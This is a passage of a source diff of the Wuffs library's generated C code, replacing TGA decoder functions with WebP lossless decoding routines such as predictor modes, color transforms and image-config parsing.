/ 2u))); ++ v_curr_row.ptr[6u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[6u]))) / 2u))); ++ v_curr_row.ptr[7u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[7u]))) / 2u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 8u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[4u]))) / 2u))); ++ v_curr_row.ptr[5u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[5u]))) / 2u))); ++ v_curr_row.ptr[6u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[6u]))) / 2u))); ++ v_curr_row.ptr[7u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[7u]))) / 2u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 9u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[4u])) + ((uint32_t)(v_prev_row.ptr[8u]))) / 2u))); ++ v_curr_row.ptr[5u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[5u])) + ((uint32_t)(v_prev_row.ptr[9u]))) / 2u))); ++ v_curr_row.ptr[6u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[6u])) + ((uint32_t)(v_prev_row.ptr[10u]))) / 2u))); ++ v_curr_row.ptr[7u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[7u])) + ((uint32_t)(v_prev_row.ptr[11u]))) / 2u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 10u) { ++ v_l0 = ((((uint32_t)(v_curr_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[0u]))) / 2u); ++ v_l1 = ((((uint32_t)(v_curr_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[1u]))) / 2u); ++ v_l2 = ((((uint32_t)(v_curr_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[2u]))) / 2u); ++ v_l3 = ((((uint32_t)(v_curr_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[3u]))) / 2u); ++ v_t0 = ((((uint32_t)(v_prev_row.ptr[4u])) + ((uint32_t)(v_prev_row.ptr[8u]))) / 2u); ++ v_t1 = ((((uint32_t)(v_prev_row.ptr[5u])) + ((uint32_t)(v_prev_row.ptr[9u]))) / 2u); ++ v_t2 = ((((uint32_t)(v_prev_row.ptr[6u])) + ((uint32_t)(v_prev_row.ptr[10u]))) / 2u); ++ v_t3 = ((((uint32_t)(v_prev_row.ptr[7u])) + ((uint32_t)(v_prev_row.ptr[11u]))) / 2u); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(((v_l0 + v_t0) / 2u))); ++ v_curr_row.ptr[5u] += ((uint8_t)(((v_l1 + v_t1) / 2u))); ++ v_curr_row.ptr[6u] += ((uint8_t)(((v_l2 + v_t2) / 2u))); ++ v_curr_row.ptr[7u] += ((uint8_t)(((v_l3 + v_t3) / 2u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 11u) { ++ v_l0 = ((uint32_t)(v_curr_row.ptr[0u])); ++ v_l1 = ((uint32_t)(v_curr_row.ptr[1u])); ++ v_l2 = ((uint32_t)(v_curr_row.ptr[2u])); ++ v_l3 = ((uint32_t)(v_curr_row.ptr[3u])); ++ v_c0 = ((uint32_t)(v_prev_row.ptr[0u])); ++ v_c1 = ((uint32_t)(v_prev_row.ptr[1u])); ++ v_c2 = ((uint32_t)(v_prev_row.ptr[2u])); ++ v_c3 = ((uint32_t)(v_prev_row.ptr[3u])); ++ v_t0 = ((uint32_t)(v_prev_row.ptr[4u])); ++ v_t1 = ((uint32_t)(v_prev_row.ptr[5u])); ++ v_t2 = ((uint32_t)(v_prev_row.ptr[6u])); ++ v_t3 = ((uint32_t)(v_prev_row.ptr[7u])); ++ v_sum_l = (wuffs_webp__decoder__absolute_difference(self, v_c0, v_t0) + ++ wuffs_webp__decoder__absolute_difference(self, v_c1, v_t1) + ++ wuffs_webp__decoder__absolute_difference(self, v_c2, v_t2) + ++ wuffs_webp__decoder__absolute_difference(self, v_c3, v_t3)); ++ v_sum_t = (wuffs_webp__decoder__absolute_difference(self, v_c0, v_l0) + ++ wuffs_webp__decoder__absolute_difference(self, v_c1, v_l1) + ++ wuffs_webp__decoder__absolute_difference(self, v_c2, v_l2) + ++ wuffs_webp__decoder__absolute_difference(self, v_c3, v_l3)); ++ if (v_sum_l < v_sum_t) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(v_l0)); ++ v_curr_row.ptr[5u] += ((uint8_t)(v_l1)); ++ v_curr_row.ptr[6u] += ((uint8_t)(v_l2)); ++ v_curr_row.ptr[7u] += ((uint8_t)(v_l3)); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(v_t0)); ++ v_curr_row.ptr[5u] += ((uint8_t)(v_t1)); ++ v_curr_row.ptr[6u] += ((uint8_t)(v_t2)); ++ v_curr_row.ptr[7u] += ((uint8_t)(v_t3)); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ } else if (v_mode == 12u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += wuffs_webp__decoder__mode12(self, v_curr_row.ptr[0u], v_prev_row.ptr[4u], v_prev_row.ptr[0u]); ++ v_curr_row.ptr[5u] += wuffs_webp__decoder__mode12(self, v_curr_row.ptr[1u], v_prev_row.ptr[5u], v_prev_row.ptr[1u]); ++ v_curr_row.ptr[6u] += wuffs_webp__decoder__mode12(self, v_curr_row.ptr[2u], v_prev_row.ptr[6u], v_prev_row.ptr[2u]); ++ v_curr_row.ptr[7u] += wuffs_webp__decoder__mode12(self, v_curr_row.ptr[3u], v_prev_row.ptr[7u], v_prev_row.ptr[3u]); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 13u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += wuffs_webp__decoder__mode13(self, v_curr_row.ptr[0u], v_prev_row.ptr[4u], v_prev_row.ptr[0u]); ++ v_curr_row.ptr[5u] += wuffs_webp__decoder__mode13(self, v_curr_row.ptr[1u], v_prev_row.ptr[5u], v_prev_row.ptr[1u]); ++ v_curr_row.ptr[6u] += wuffs_webp__decoder__mode13(self, v_curr_row.ptr[2u], v_prev_row.ptr[6u], v_prev_row.ptr[2u]); ++ v_curr_row.ptr[7u] += wuffs_webp__decoder__mode13(self, v_curr_row.ptr[3u], v_prev_row.ptr[7u], v_prev_row.ptr[3u]); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ v_curr_row = wuffs_base__slice_u8__subslice_i(v_curr_row, 4u); ++ v_prev_row = wuffs_base__slice_u8__subslice_i(v_prev_row, 4u); ++ v_x += 1u; ++ } ++ v_y += 1u; ++ } ++ return wuffs_base__make_empty_struct(); ++} + +-// ---------------- Private Function Prototypes ++// -------- func webp.decoder.absolute_difference + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_tga__decoder__do_decode_image_config( +- wuffs_tga__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); ++static uint32_t ++wuffs_webp__decoder__absolute_difference( ++ const wuffs_webp__decoder* self, ++ uint32_t a_a, ++ uint32_t a_b) { ++ if (a_a < a_b) { ++ return (a_b - a_a); ++ } ++ return (a_a - a_b); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_tga__decoder__do_decode_frame_config( +- wuffs_tga__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); ++// -------- func webp.decoder.mode12 + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_tga__decoder__do_decode_frame( +- wuffs_tga__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); ++static uint8_t ++wuffs_webp__decoder__mode12( ++ const wuffs_webp__decoder* self, ++ uint8_t a_l, ++ uint8_t a_t, ++ uint8_t a_tl) { ++ uint32_t v_v = 0; + +-// ---------------- VTables ++ v_v = ((uint32_t)((((uint32_t)(a_l)) + ((uint32_t)(a_t))) - ((uint32_t)(a_tl)))); ++ if (v_v < 256u) { ++ return ((uint8_t)(v_v)); ++ } else if (v_v < 512u) { ++ return 255u; ++ } ++ return 0u; ++} + +-const wuffs_base__image_decoder__func_ptrs +-wuffs_tga__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_tga__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_tga__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_tga__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_tga__decoder__frame_dirty_rect), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_tga__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_tga__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_tga__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_tga__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_tga__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_tga__decoder__restart_frame), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_tga__decoder__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_tga__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_tga__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_tga__decoder__workbuf_len), +-}; ++// -------- func webp.decoder.mode13 + +-// ---------------- Initializer Implementations ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_webp__decoder__mode13( ++ const wuffs_webp__decoder* self, ++ uint8_t a_l, ++ uint8_t a_t, ++ uint8_t a_tl) { ++ uint32_t v_x = 0; ++ uint32_t v_y = 0; ++ uint32_t v_z = 0; ++ uint32_t v_v = 0; + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_tga__decoder__initialize( +- wuffs_tga__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ v_x = ((((uint32_t)(a_l)) + ((uint32_t)(a_t))) / 2u); ++ v_y = ((uint32_t)(a_tl)); ++ v_z = ((uint32_t)(v_x - v_y)); ++ v_v = ((uint32_t)(v_x + wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(v_z + (v_z >> 31u))), 1u))); ++ if (v_v < 256u) { ++ return ((uint8_t)(v_v)); ++ } else if (v_v < 512u) { ++ return 255u; + } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ return 0u; ++} ++ ++// -------- func webp.decoder.apply_transform_cross_color ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_cross_color( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix, ++ wuffs_base__slice_u8 a_tile_data) { ++ uint32_t v_tile_size_log2 = 0; ++ uint32_t v_tiles_per_row = 0; ++ uint32_t v_mask = 0; ++ uint32_t v_y = 0; ++ uint32_t v_x = 0; ++ uint64_t v_t = 0; ++ wuffs_base__slice_u8 v_tile_data = {0}; ++ uint32_t v_g2r = 0; ++ uint32_t v_g2b = 0; ++ uint32_t v_r2b = 0; ++ uint8_t v_b = 0; ++ uint8_t v_g = 0; ++ uint8_t v_r = 0; ++ ++ v_tile_size_log2 = ((uint32_t)(self->private_impl.f_transform_tile_size_log2[1u])); ++ v_tiles_per_row = ((self->private_impl.f_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2); ++ v_mask = ((((uint32_t)(1u)) << v_tile_size_log2) - 1u); ++ v_y = 0u; ++ while (v_y < self->private_impl.f_height) { ++ v_t = ((uint64_t)((4u * (v_y >> v_tile_size_log2) * v_tiles_per_row))); ++ v_tile_data = wuffs_base__utility__empty_slice_u8(); ++ if (v_t <= ((uint64_t)(a_tile_data.len))) { ++ v_tile_data = wuffs_base__slice_u8__subslice_i(a_tile_data, v_t); ++ } ++ v_x = 0u; ++ while (v_x < self->private_impl.f_width) { ++ if (((v_x & v_mask) == 0u) && (((uint64_t)(v_tile_data.len)) >= 4u)) { ++ v_g2r = wuffs_base__utility__sign_extend_convert_u8_u32(v_tile_data.ptr[0u]); ++ v_g2b = wuffs_base__utility__sign_extend_convert_u8_u32(v_tile_data.ptr[1u]); ++ v_r2b = wuffs_base__utility__sign_extend_convert_u8_u32(v_tile_data.ptr[2u]); ++ v_tile_data = wuffs_base__slice_u8__subslice_i(v_tile_data, 4u); ++ } ++ if (((uint64_t)(a_pix.len)) >= 4u) { ++ v_b = a_pix.ptr[0u]; ++ v_g = a_pix.ptr[1u]; ++ v_r = a_pix.ptr[2u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_r += ((uint8_t)((((uint32_t)(wuffs_base__utility__sign_extend_convert_u8_u32(v_g) * v_g2r)) >> 5u))); ++ v_b += ((uint8_t)((((uint32_t)(wuffs_base__utility__sign_extend_convert_u8_u32(v_g) * v_g2b)) >> 5u))); ++ v_b += ((uint8_t)((((uint32_t)(wuffs_base__utility__sign_extend_convert_u8_u32(v_r) * v_r2b)) >> 5u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ a_pix.ptr[0u] = v_b; ++ a_pix.ptr[2u] = v_r; ++ a_pix = wuffs_base__slice_u8__subslice_i(a_pix, 4u); ++ } ++ v_x += 1u; ++ } ++ v_y += 1u; + } ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func webp.decoder.apply_transform_subtract_green ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_subtract_green( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix) { ++ wuffs_base__slice_u8 v_p = {0}; ++ uint8_t v_g = 0; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) ++ { ++ wuffs_base__slice_u8 i_slice_p = a_pix; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 4; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 4) * 4)); ++ while (v_p.ptr < i_end0_p) { ++ v_g = v_p.ptr[1u]; ++#if defined(__GNUC__) + #pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#pragma GCC diagnostic ignored "-Wconversion" + #endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) ++ v_p.ptr[0u] += v_g; ++ v_p.ptr[2u] += v_g; ++#if defined(__GNUC__) + #pragma GCC diagnostic pop + #endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ v_p.ptr += 4; + } ++ v_p.len = 0; + } +- +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_tga__decoder__func_ptrs_for__wuffs_base__image_decoder); +- return wuffs_base__make_status(NULL); ++ return wuffs_base__make_empty_struct(); + } + +-wuffs_tga__decoder* +-wuffs_tga__decoder__alloc(void) { +- wuffs_tga__decoder* x = +- (wuffs_tga__decoder*)(calloc(sizeof(wuffs_tga__decoder), 1)); +- if (!x) { +- return NULL; ++// -------- func webp.decoder.apply_transform_color_indexing ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_color_indexing( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix) { ++ uint32_t v_tile_size_log2 = 0; ++ uint32_t v_bits_per_pixel = 0; ++ uint32_t v_x_mask = 0; ++ uint32_t v_s_mask = 0; ++ uint64_t v_src_index = 0; ++ uint32_t v_y = 0; ++ uint64_t v_di = 0; ++ uint64_t v_dj = 0; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint32_t v_x = 0; ++ uint32_t v_s = 0; ++ uint32_t v_p = 0; ++ uint8_t v_p0 = 0; ++ uint8_t v_p1 = 0; ++ uint8_t v_p2 = 0; ++ uint8_t v_p3 = 0; ++ ++ v_tile_size_log2 = ((uint32_t)(self->private_impl.f_transform_tile_size_log2[3u])); ++ if (v_tile_size_log2 == 0u) { ++ { ++ wuffs_base__slice_u8 i_slice_dst = a_pix; ++ v_dst.ptr = i_slice_dst.ptr; ++ v_dst.len = 4; ++ const uint8_t* i_end0_dst = wuffs_private_impl__ptr_u8_plus_len(v_dst.ptr, (((i_slice_dst.len - (size_t)(v_dst.ptr - i_slice_dst.ptr)) / 4) * 4)); ++ while (v_dst.ptr < i_end0_dst) { ++ v_p = (((uint32_t)(v_dst.ptr[1u])) * 4u); ++ v_p0 = self->private_data.f_palette[(v_p + 0u)]; ++ v_p1 = self->private_data.f_palette[(v_p + 1u)]; ++ v_p2 = self->private_data.f_palette[(v_p + 2u)]; ++ v_p3 = self->private_data.f_palette[(v_p + 3u)]; ++ v_dst.ptr[0u] = v_p0; ++ v_dst.ptr[1u] = v_p1; ++ v_dst.ptr[2u] = v_p2; ++ v_dst.ptr[3u] = v_p3; ++ v_dst.ptr += 4; ++ } ++ v_dst.len = 0; ++ } ++ return wuffs_base__make_empty_struct(); + } +- if (wuffs_tga__decoder__initialize( +- x, sizeof(wuffs_tga__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ v_bits_per_pixel = (((uint32_t)(8u)) >> v_tile_size_log2); ++ v_x_mask = ((((uint32_t)(1u)) << v_tile_size_log2) - 1u); ++ v_s_mask = ((((uint32_t)(1u)) << v_bits_per_pixel) - 1u); ++ v_src_index = ((uint64_t)((self->private_impl.f_workbuf_offset_for_color_indexing + 1u))); ++ v_y = 0u; ++ while (v_y < self->private_impl.f_height) { ++ v_di = ((uint64_t)((4u * (v_y + 0u) * self->private_impl.f_width))); ++ v_dj = ((uint64_t)((4u * (v_y + 1u) * self->private_impl.f_width))); ++ if ((v_di > v_dj) || (v_dj > ((uint64_t)(a_pix.len)))) { ++ break; ++ } ++ v_dst = wuffs_base__slice_u8__subslice_ij(a_pix, v_di, v_dj); ++ v_x = 0u; ++ while (((uint64_t)(v_dst.len)) >= 4u) { ++ if (((v_x & v_x_mask) == 0u) && (v_src_index < ((uint64_t)(a_pix.len)))) { ++ v_s = ((uint32_t)(a_pix.ptr[v_src_index])); ++ v_src_index += 4u; ++ } ++ v_p = ((v_s & v_s_mask) * 4u); ++ v_s >>= v_bits_per_pixel; ++ v_p0 = self->private_data.f_palette[(v_p + 0u)]; ++ v_p1 = self->private_data.f_palette[(v_p + 1u)]; ++ v_p2 = self->private_data.f_palette[(v_p + 2u)]; ++ v_p3 = self->private_data.f_palette[(v_p + 3u)]; ++ v_dst.ptr[0u] = v_p0; ++ v_dst.ptr[1u] = v_p1; ++ v_dst.ptr[2u] = v_p2; ++ v_dst.ptr[3u] = v_p3; ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, 4u); ++ v_x += 1u; ++ } ++ v_y += 1u; + } +- return x; +-} +- +-size_t +-sizeof__wuffs_tga__decoder(void) { +- return sizeof(wuffs_tga__decoder); ++ return wuffs_base__make_empty_struct(); + } + +-// ---------------- Function Implementations +- +-// -------- func tga.decoder.get_quirk ++// -------- func webp.decoder.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__get_quirk( +- const wuffs_tga__decoder* self, ++wuffs_webp__decoder__get_quirk( ++ const wuffs_webp__decoder* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -59162,12 +73627,12 @@ wuffs_tga__decoder__get_quirk( + return 0u; + } + +-// -------- func tga.decoder.set_quirk ++// -------- func webp.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__set_quirk( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__set_quirk( ++ wuffs_webp__decoder* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -59183,12 +73648,12 @@ wuffs_tga__decoder__set_quirk( + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func tga.decoder.decode_image_config ++// -------- func webp.decoder.decode_image_config + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__decode_image_config( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__decode_image_config( ++ wuffs_webp__decoder* self, + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { + if (!self) { +@@ -59214,17 +73679,17 @@ wuffs_tga__decoder__decode_image_config( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_image_config(self, a_dst, a_src); ++ wuffs_base__status t_0 = wuffs_webp__decoder__do_decode_image_config(self, a_dst, a_src); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_tga__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_webp__error__truncated_input); + goto exit; + } + status = v_status; +@@ -59232,13 +73697,13 @@ wuffs_tga__decoder__decode_image_config( + } + + ok: +- self->private_impl.p_decode_image_config[0] = 0; ++ self->private_impl.p_decode_image_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + + goto exit; +@@ -59249,19 +73714,19 @@ wuffs_tga__decoder__decode_image_config( + return status; + } + +-// -------- func tga.decoder.do_decode_image_config ++// -------- func webp.decoder.do_decode_image_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_tga__decoder__do_decode_image_config( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__do_decode_image_config( ++ wuffs_webp__decoder* self, + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_c = 0; +- uint32_t v_c5 = 0; +- uint32_t v_i = 0; ++ uint32_t v_c32 = 0; ++ uint64_t v_r_mark = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -59274,10 +73739,7 @@ wuffs_tga__decoder__do_decode_image_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_do_decode_image_config[0].v_i; +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +@@ -59287,411 +73749,446 @@ wuffs_tga__decoder__do_decode_image_config( + } + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- self->private_impl.f_header_id_length = t_0; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- self->private_impl.f_header_color_map_type = t_1; +- } +- if (self->private_impl.f_header_color_map_type > 1u) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_header); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- self->private_impl.f_header_image_type = t_2; +- } +- if ((self->private_impl.f_header_image_type == 1u) || +- (self->private_impl.f_header_image_type == 2u) || +- (self->private_impl.f_header_image_type == 3u) || +- (self->private_impl.f_header_image_type == 9u) || +- (self->private_impl.f_header_image_type == 10u) || +- (self->private_impl.f_header_image_type == 11u)) { +- } else { +- status = wuffs_base__make_status(wuffs_tga__error__bad_header); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- uint16_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_3 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); +- iop_a_src += 2; ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; +- if (num_bits_3 == 8) { +- t_3 = ((uint16_t)(*scratch)); ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); + break; + } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; + } + } +- self->private_impl.f_header_color_map_first_entry_index = t_3; ++ v_c32 = t_0; ++ } ++ if (v_c32 != 1179011410u) { ++ status = 